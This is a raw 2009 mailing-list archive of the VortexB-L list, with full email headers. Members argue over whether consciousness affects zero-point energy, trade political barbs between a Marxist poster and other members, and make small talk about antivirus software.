pinky-thimble. The hell you know. > >3: Murder Inc. is the U.S. ruling-class/government and its deathsquad franchisees -- > > that's capitalist, right? > > --- > Nope, and neither is your opinion. Well that would be a LIE now, wouldn't it? > You seem to be someone who wants to tear down the structure which is, > tentatively, binding us together. I suggest you take a reality check, fella. The "us" -- by which I take it you mean the U.S. here -- is one screwed up, divided, uber-violent World-dangerous country. And you people have a lot to answer for, besides. > Do you want us to all to bind in hate against each each other and follow > you into the abyss? > > JF Youse-all are doing just fine by yourselves. Me -- I'm just commentary from the peanut gallery. - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoV8dQACgkQXo3EtEYbt3HBbACeOOtlWZkTmOlI3NyT0uweFJZY EmkAn0VePBOGAPWQo9ZzEzXL4v1VLkmP =2w9P -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 21 18:01:33 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4M11TGr011342; Thu, 21 May 2009 18:01:29 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4M11TuX011338; Thu, 21 May 2009 18:01:29 -0700 Resent-Date: Thu, 21 May 2009 18:01:29 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <4A15F947.2050908@lacy.com.ar> Date: Thu, 21 May 2009 22:00:55 -0300 From: Mauro Lacy User-Agent: Thunderbird 2.0.0.21 (X11/20090409) MIME-Version: 1.0 To: vortexb-l@eskimo.com References: <9B160C1D-E318-4B6E-9C8B-32CD4119C1A8@newalexandria.org> <0A87B803-008F-4A08-867B-39AD100EE783@mtaonline.net> <581C89AC-A7BA-4ADF-83C1-57E724E42724@newalexandria.org> <4A158CE8.5020606@lacy.com.ar> In-Reply-To: X-Enigmail-Version: 0.95.7 OpenPGP: id=C6D2C30D; url=http://maurol.com.ar/publickey.asc Content-Type: multipart/alternative; boundary="------------080506080306040607050601" X-AV-Checked: ClamAV using ClamSMTP Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4017 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: PEAR/ ICRL research Status: O X-Status: X-Keywords: X-UID: 259 This is a multi-part message in MIME format. --------------080506080306040607050601 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Zachary Jones wrote: > > On May 21, 2009, at 10:18 AM, Mauro Lacy wrote: >> >> Well, assuming the effect is real (as I think it is): >> 1) It is very rare, and/or not very powerful actually. > > Even with miniscule margins, if you "buy low and sell high you make it > up in volume" > > The line for suspending disbelief not on 'superpower mutant people' > coming about; but rather pragmatic ZPE power generation being > influenced by 4-30% based on consciousness. If I had a method for > increasing power plant operation by 4% I'd be emailing you all from > wherever in the world I decided to be that week. If you had a method for doing that at will, using only your mind, you probably wouldn't be interested in doing it, at all. > >> 2) We are entering science fiction / anticipation literature here. > > I'm really not, to reinforce what I'm saying above. > >> The "classic" line says that only those that are worthy of these >> powers, will be able to control them. That is, some kind of built in >> self protection, at the ethical level. Of course, the various >> anticipation series speculate about an "evil genius" which will be >> able to use these powers for bad, but I personally think that a >> "technology" like that, although certainly disruptive, will be used >> mostly for good. > > So 'bad guys' could draw down the grid by some fraction? OK, maybe, > but the recent work of Radin, et. al. (Radin, D., Lund, N., Emoto, M., > Kizu, T. (2008). Effects of distant intention on water crystal > formation: A triple-blind replication. Journal of Scientific > Exploration, 22(4), 481-493) shows that 'negative' influence to water > structure based on intention is cause by ignoring a target. > Personally, I don't think there's a 'universally bad juju' but rather > a space of [intention force vectors] wherein certain forces may be > opposed and thereby cause effects that at the experiential level would > be called "bad." Imagine the hero/bad guy thing being more like > whether you align with conservatives or progressives. > > Hypothesize an intention vector space with 6 cardinal positions, and 2 > can be considered to be opposing / disruptive to the [coherence / > structure] that makes each characteristically what they are. Presume > that power transmission (i.e. down distribution lines as we all have > now) carries with it the 'signal of intention' that generated it – > kind of a 'radionics' effect. If my home is powered by electricity > generated by intention is the vector-opposite to my values then I and > the field of my consciousness would be disrupted. Is this 'part of > the deal' for having clean ZPE electricity? This sounds superficial, precipitate, or just a troll. Or all at the same time. > > >> >> And particularly regarding the ethical dimension, take into account >> that, if these powers really exist and transcend matter, as we are >> beginning to see they do, the logical thing to conclude is that "on >> other side", from where these powers really come and belong, there is >> probably an entire world, with its own rules, hierarchies, harmony, >> and of course, ethics. > > Great. What can you imagine about that place? Pretend you're their > ambassador. I cannot say much about that, due to a good number of reasons. Besides, this is clearly not the place. Let's just say that I resign my pretended ambassadorial title. > > >> I'm personally much more worried about the ethical dimension(or lack >> of it, thereof) of everyday science, technology and human affairs, >> than about these potential mind powers of the future. > > This is vortexB, buddy, take that stuff outside.... Both aspects are related. It's up to you to find the relating element. > > > Zak > > >>>> On May 20, 2009, at 11:00 PM, Zachary Jones wrote: >>>> >>>>> If zero-point fluctuations are sensitive to consciousness, >>>>> >>>>> and given the PEAR / ICRL research showing operator influence upon >>>>> random-event generators, >>>>> >>>>> does the advent of ZPE power generation contain an ethics debate? >>>>> >>>>> Is it reasonable to conjecture a mind-state that generates optimum >>>>> power levels? >>>>> >>>>> Postulating that any strong mind state would increase ZPE power >>>>> output, what could be the societal ramifications for choosing >>>>> energy providers based on their values? >>>>> >>>>> >>>>> >>>>> Thank you, >>>>> Zak >>>>> >>>> --------------080506080306040607050601 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: 8bit Zachary Jones wrote:

On May 21, 2009, at 10:18 AM, Mauro Lacy wrote:

Well, assuming the effect is real (as I think it is):
1) It is very rare, and/or not very powerful actually.

Even with miniscule margins, if you "buy low and sell high you make it up in volume"

The line for suspending disbelief not on 'superpower mutant people' coming about; but rather pragmatic ZPE power generation being influenced by 4-30% based on consciousness.  If I had a method for increasing power plant operation by 4% I'd be emailing you all from wherever in the world I decided to be that week.

If you had a method for doing that at will, using only your mind, you probably wouldn't be interested in doing it, at all.


2) We are entering science fiction / anticipation literature here. 

I'm really not, to reinforce what I'm saying above.

The "classic" line says that only those that are worthy of these powers, will be able to control them. That is, some kind of built in self protection, at the ethical level. Of course, the various anticipation series speculate about an "evil genius" which will be able to use these powers for bad, but I personally think that a "technology" like that, although certainly disruptive, will be used mostly for good.

So 'bad guys' could draw down the grid by some fraction? OK, maybe, but the recent work of Radin, et. al. (Radin, D., Lund, N., Emoto, M., Kizu, T. (2008). Effects of distant intention on water crystal formation: A triple-blind replication. Journal of Scientific Exploration, 22(4), 481-493) shows that 'negative' influence to water structure based on intention is cause by ignoring a target.  Personally, I don't think there's a 'universally bad juju' but rather a space of [intention force vectors] wherein certain forces may be opposed and thereby cause effects that at the experiential level would be called "bad."  Imagine the hero/bad guy thing being more like whether you align with conservatives or progressives.

Hypothesize an intention vector space with 6 cardinal positions, and 2 can be considered to be opposing / disruptive to the [coherence / structure] that makes each characteristically what they are.  Presume that power transmission (i.e. down distribution lines as we all have now) carries with it the 'signal of intention' that generated it – kind of a 'radionics' effect.  If my home is powered by electricity generated by intention is the vector-opposite to my values then I and the field of my consciousness would be disrupted.  Is this 'part of the deal' for having clean ZPE electricity?

This sounds superficial, precipitate, or just a troll. Or all at the same time.



And particularly regarding the ethical dimension, take into account that, if these powers really exist and transcend matter, as we are beginning to see they do, the logical thing to conclude is that "on other side", from where these powers really come and belong, there is probably an entire world, with its own rules, hierarchies, harmony, and of course, ethics.

Great.  What can you imagine about that place?  Pretend you're their ambassador.

I cannot say much about that, due to a good number of reasons. Besides, this is clearly not the place. Let's just say that I resign my pretended ambassadorial title.



I'm personally much more worried about the ethical dimension(or lack of it, thereof) of everyday science, technology and human affairs, than about these potential mind powers of the future.

This is vortexB, buddy, take that stuff outside....

Both aspects are related. It's up to you to find the relating element.



Zak


On May 20, 2009, at 11:00 PM, Zachary Jones wrote:
    
If zero-point fluctuations are sensitive to consciousness,

and given the PEAR / ICRL research showing operator influence upon  
random-event generators,

does the advent of ZPE power generation contain an ethics debate?

Is it reasonable to conjecture a mind-state that generates optimum  
power levels?

Postulating that any strong mind state would increase ZPE power  
output, what could be the societal ramifications for choosing  
energy providers based on their values?



Thank you,
Zak

--------------080506080306040607050601-- From vortexb-l-request@eskimo.com Thu May 21 18:09:31 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4M19P0G002795; Thu, 21 May 2009 18:09:29 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4M19PTw002791; Thu, 21 May 2009 18:09:25 -0700 Resent-Date: Thu, 21 May 2009 18:09:25 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-Id: From: Zachary Jones To: vortexb-l@eskimo.com In-Reply-To: <4A15F947.2050908@lacy.com.ar> Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v935.3) Subject: Re: [VoB]:Re: PEAR/ ICRL research Date: Thu, 21 May 2009 18:09:06 -0700 References: <9B160C1D-E318-4B6E-9C8B-32CD4119C1A8@newalexandria.org> <0A87B803-008F-4A08-867B-39AD100EE783@mtaonline.net> <581C89AC-A7BA-4ADF-83C1-57E724E42724@newalexandria.org> <4A158CE8.5020606@lacy.com.ar> <4A15F947.2050908@lacy.com.ar> X-Mailer: Apple Mail (2.935.3) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4018 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 260 Resignation accepted. On May 21, 2009, at 6:00 PM, Mauro Lacy wrote: > Let's just say that I resign my pretended ambassadorial title. From vortexb-l-request@eskimo.com Thu May 21 18:16:58 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4M1GpIN015786; Thu, 21 May 2009 18:16:51 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4M1Gp5S015778; Thu, 21 May 2009 18:16:51 -0700 Resent-Date: Thu, 21 May 2009 18:16:51 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=opV2zq8+oM8y7rdmrWZ0w5vj8wMT8ei+sjXjTzKGJrw=; b=S2ke2zYTaeP+m+gkMCCErxV00nsBfSux7P69+4xnk9namU3rq9mJfdcTikC0tMaYvh TziKk4dyjUSlsTUx05S/2uBl8yckzyvWkd/QNdZT3pF5NLlsJtz7BDCUl9sEEbd26Kjh i85N/vtGBuY9JFqvl6YqkJwfUQZJLJBWk2bIA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=Mhvai7wYdaXR9ZJmdWEXGdf9woOblYAeLNyoRcS3mkyschnj8zbU3n50OKya47r3U6 kVqT5LFXuZAqm18nWhYpdKbDDS7ln2PRs/2haEJj/abz8H+qvWSHS583sRnMiwR4xUcy b1tXvmOaSvbKjxsgjfXND7xQLled1E7iGxQ7g= MIME-Version: 1.0 In-Reply-To: <20090521224840.GI27687@shell.resist.ca> References: <20090521135846.GA1262@shell.resist.ca> <20090521172625.GC1262@shell.resist.ca> <20090521180408.GD1262@shell.resist.ca> <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> Date: Thu, 21 May 2009 20:16:49 -0500 Message-ID: Subject: Re: [VoB]:Re: This is VortexB-L... From: OrionWorks To: grok@resist.ca, vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4019 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 261 >From Grok, > > Can you clarify what's being kept "...out of the equation"? Are > > you implying: The results of valid scientific research? > > Being hindered? > > > > Incidentally, what unresolved matter did we just witness here? ... > > You're being obtuse > -- however I think I will accept that this seems to be a > congenital class issue, and nowhere moreso than in the U.S. > What's being kept out of the equation? Why, whatever you > have defined as "contrarian", of course. > > Let's just call it "politix". For now, anyway. "Congenital class issue"??? What a mouthful. What does it mean? ...economic/social/ ??? what? And while we're at it, in order to clear up any future misunderstanding what exactly is your personal definition of "politix"? A -bastardization- of politics in general? You seem to use the "politix" word a lot. Incidentally you have not responded to my previous request. I remind you that you have asserted that I have been condescending in my correspondence towards you. If I make an effort to be less condescending will you reciprocate by not describing me as a "fella", or several other nonsensical names of a similar vernacular that add little to the discussion? Regards Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks From vortexb-l-request@eskimo.com Thu May 21 18:52:47 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4M1qj59022651; Thu, 21 May 2009 18:52:45 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4M1qevF022627; Thu, 21 May 2009 18:52:40 -0700 Resent-Date: Thu, 21 May 2009 18:52:40 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 21 May 2009 18:52:32 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090522015232.GG29458@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521172625.GC1262@shell.resist.ca> <20090521180408.GD1262@shell.resist.ca> <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Project 15A, GRUMBLE, MiG-25R, CMW, Echelon User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4020 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 262 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, OrionWorks mounted the barricade and roared out: > "Congenital class issue"??? What a mouthful. What does it mean? > ...economic/social/ ??? what? For marxists, class is fundamentally about people's relationship to the existing means of production, and otherwise beyond that to their relations with each other. So it's all ekonomik AND social. > And while we're at it, in order to clear up any future > misunderstanding what exactly is your personal definition of > "politix"? A -bastardization- of politics in general? You seem to use > the "politix" word a lot. Don't I. Marxists generally mean "political-economy" when they talk about politix. It's important not to divorce politix too much from its ekonomik power base. And in fact, part of how the capitalists hamstring people's thinking is by continually presenting "facts" in isolation from each other -- or, conversely, making false links which don't exist. You'll see this on *every* newscast, for instance. For that matter, there also used to be a magazine call "Lies Of Our [New York] Times" (LOOT), FYI. And that was a liberal rag. ;> > Incidentally you have not responded to my previous request. I remind > you that you have asserted that I have been condescending in my > correspondence towards you. Why would we want to continue to go there. Enuff has been said on the matter, AFAIC. Remember we have an audience, eh? Not that I can't carry this on forever. ;P > If I make an effort to be less condescending will you reciprocate by > not describing me as a "fella", or several other nonsensical names of > a similar vernacular that add little to the discussion? This is just being petty. I really don't think we're on first name terms here, you and I. Let's just keep this at the 'two wild animals circling each other in the forest' level. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoWBWAACgkQXo3EtEYbt3F13gCfZBenQWXOPbccK9zVwwf5zhT+ YYcAoLK4xBW7DRDhKWirblrj/xHNpeXE =gnnM -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 21 19:11:39 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4M2BbMt014247; Thu, 21 May 2009 19:11:37 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4M2Bbar014243; Thu, 21 May 2009 19:11:37 -0700 Resent-Date: Thu, 21 May 2009 19:11:37 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=v2ajp7w3XVlWJ8H1BTaXoltRkOdXmsGCAWuu/8pV57I=; b=E+X/nXvoJqiwH14xpduqTSGH+ImE0T5W8BDHP6gsaxDUWXmV1t1oW8xRuF3BglCgFz kpqMJ6mrxmmXMAryCh5rRIccXdfEVCfjMLmmMeuDzSNHVZNJDDYpjMU3d+1XGGM/ZZda Px+ZXfCffFhXze/nD7qM7PGwzqGr73IeavA6I= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=ML9CKdcxPC/ztLbeocFckTZCix99jWNkOs8YBBsTLCDmw2b9tojOfjDE9e1JQVmR4W e2vi33XicT4OiSP7Rk58KOS5YIGm3xCQuElzqFud+4thYKdX89ARBiTGpgx8P1GMTkMc bN057pBm6/AJ9u7uyWdmspXIF5HBfwuP/Xd7s= MIME-Version: 1.0 In-Reply-To: <20090522015232.GG29458@shell.resist.ca> References: <20090521172625.GC1262@shell.resist.ca> <20090521180408.GD1262@shell.resist.ca> <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> From: Charles HOPE Date: Thu, 21 May 2009 22:11:16 -0400 Message-ID: <63ffa6020905211911v50a15a06sc1bdbe0346b779f6@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a723b77592046a76c7e3 Resent-Message-ID: <9pafuB.A.deD.YngFKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4021 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 263 --001636c5a723b77592046a76c7e3 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable "politix"? "ekonomik"? What do these nonstandard spellings signify? On Thu, May 21, 2009 at 9:52 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, OrionWorks > mounted the barricade and roared out: > > > "Congenital class issue"??? What a mouthful. What does it mean? > > ...economic/social/ ??? what? > > For marxists, class is fundamentally about people's relationship to the > existing > means of production, and otherwise beyond that to their relations with ea= ch > other. So > it's all ekonomik AND social. > > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a723b77592046a76c7e3 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable "politix"? "ekonomik"? What do these nonstandard spelli= ngs signify?


On Thu, May 21, 2009 at = 9:52 PM, grok <grok@= resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, OrionWorks <svj.orionworks@gmail.com>
mounted the barricade and roared out:

> "Congenital class issue"??? What a m= outhful. What does it mean?
> ...economic/social/ ??? what?

For marxists, class is fundamentally about people's relationship = to the existing
means of production, and otherwise beyond that to their relations with each= other. So
it's all ekonomik AND social.






--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a723b77592046a76c7e3-- From vortexb-l-request@eskimo.com Thu May 21 19:18:13 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4M2IBni026927; Thu, 21 May 2009 19:18:11 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4M2IA5g026922; Thu, 21 May 2009 19:18:10 -0700 Resent-Date: Thu, 21 May 2009 19:18:10 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Rick Monteverde" To: References: Subject: RE: [VoB]:Re: This is VortexB-L... Date: Thu, 21 May 2009 16:17:42 -1000 Message-ID: <3E250154D13A4E32BAE06F457829ECB8@RicksL2000> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook 11 In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Thread-Index: AcnaYp/V82HBkfkeTLigaMJ5HJV9SAAHY1qA X-Antivirus-Scanner: Clean mail though you should still use an Antivirus X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - kappa.fastbighost.com X-AntiAbuse: Original Domain - eskimo.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - highsurf.com X-Source: X-Source-Args: X-Source-Dir: Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4022 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 264 LOL - - -What?! The grass isn't greener?!! R. > -----Original Message----- > From: leaking pen [mailto:itsatrap@gmail.com]=20 > Sent: Thursday, May 21, 2009 12:20 PM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:Re: This is VortexB-L... >=20 > mcafee causes me more headaches than norton-symantec. its=20 > harder to turn off. (required for certain installations that=20 > i do help desk for) >=20 > Dont get me started on esat.... >=20 > On Thu, May 21, 2009 at 2:27 PM, Rick Monteverde=20 > wrote: > > In my work, if it's not permissions, it's Symantec. The=20 > rest is marginal. > > > > - Rick > > > >> -----Original Message----- > >> From: William Beaty [mailto:billb@eskimo.com] > >> Sent: Thursday, May 21, 2009 10:11 AM > >> To: vortexb-l@eskimo.com > >> Subject: Re: [VoB]:Re: This is VortexB-L... > >> > >> On Thu, 21 May 2009, William Beaty wrote: > >> > Huh, it's supposed to have one. =A0 The config is the same as > >> vortex (except > >> > it says [VoB]. =A0 Can't see why it doesn't work. > >> > >> Wrong unix file permission! =A0 It couldn't read the little "VoB"=20 > >> command. > >> > >> > >> (((((((((((((((((( ( ( =A0( =A0 ( =A0 =A0(O) =A0 =A0) =A0 ) =A0) )=20 > >> ))))))))))))))))))) William J. Beaty =A0 =A0 =A0 =A0 =A0 =A0 =A0 = =A0 =A0 =A0 =A0 =A0 =A0 =A0 > >> SCIENCE HOBBYIST website billb at amasci com =A0 =A0 =A0 =A0 =A0 = =A0 =A0=20 > =A0 =A0 =A0 =A0 =A0=20 > >> http://amasci.com EE/programmer/sci-exhibits =A0 amateur=20 > science, hobby=20 > >> projects, sci fair Seattle, WA =A0206-762-3818 =A0 =A0unusual = phenomena,=20 > >> tesla coils, weird sci > >> > >> > > > > > > >=20 >=20 From vortexb-l-request@eskimo.com Thu May 21 19:23:41 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4M2Ncag017067; Thu, 21 May 2009 19:23:38 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4M2Nb4W017061; Thu, 21 May 2009 19:23:37 -0700 Resent-Date: Thu, 21 May 2009 19:23:37 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type:content-transfer-encoding; bh=9TVV5tU5uPbOHlquT7cF4SUe0F2UFN9xVcrEwUlWEHM=; b=iY95bSjS0vG1pZV6BzKuvo2e4uiUj2LHWsnD0aGTm1CGWYu5RVjzHcliVxgOfRhp4O ZHAarW+K/TIzCAEFzdGf9YP+mSmU1MVA04Mny8emQ9vjkefPET/izEOyZIQQHqU/n/Kx DcqAR5CHBzGsPOF7NZn/Erzhx/Zt1TsVhRDPk= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type :content-transfer-encoding; b=ZVPmGOXeljEC2erOvXNQjOvAlak7YHJpFbmhIfVXtsiUUI4IsK1MuJcuDkdo7IW9zf pYfcYAmqYF+9RLawus0MiDllw2lVPfVRKsybfmt9fN0lfNVqe/GznE34fImEpsPRwtcv jyJYih6FhxG3TAQV+BEX1Q3suA7xggproxpmg= MIME-Version: 1.0 Date: Thu, 21 May 2009 19:23:37 -0700 Message-ID: From: leaking pen To: vortexb-l Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: <7xpCrD.A.dKE.pygFKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4023 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Someones cribbing amasci..... Status: RO X-Status: X-Keywords: X-UID: 265 http://www.cracked.com/article_16710_p2.html vortex ring gun... list of top 7 non lethal weapons From vortexb-l-request@eskimo.com Thu May 21 20:06:09 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4M364im004719; Thu, 21 May 2009 20:06:05 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4M364x8004713; Thu, 21 May 2009 20:06:04 -0700 Resent-Date: Thu, 21 May 2009 20:06:04 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 21 May 2009 20:05:58 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090522030558.GB10931@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521180408.GD1262@shell.resist.ca> <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <63ffa6020905211911v50a15a06sc1bdbe0346b779f6@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905211911v50a15a06sc1bdbe0346b779f6@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: tunnels, Xichang, Su-30MK2V, AK-103, PAC-3 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4024 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 266 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > "politix"? "ekonomik"? What do these nonstandard spellings signify? Ya. I'm starting a new fad. This is where the k00l kidz hang out, remember..? Wanna join in..?? - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 